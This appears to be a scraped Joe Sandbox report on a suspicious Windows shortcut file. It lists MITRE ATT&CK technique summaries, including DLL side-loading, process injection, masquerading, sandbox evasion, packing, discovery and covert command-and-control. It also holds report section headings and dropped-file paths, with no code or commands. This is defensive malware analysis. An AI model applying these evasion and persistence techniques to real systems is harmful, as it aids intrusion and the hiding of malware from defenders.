Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Sv6eQZzG0Z.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qtfngby.swe.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0sj44sff.et5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2otiuygk.unc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2rjq3dxb.gjo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2wzhbj4r.eus.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_55sq5g0h.ryw.psm1

Windows Analysis Report
Sv6eQZzG0Z.lnk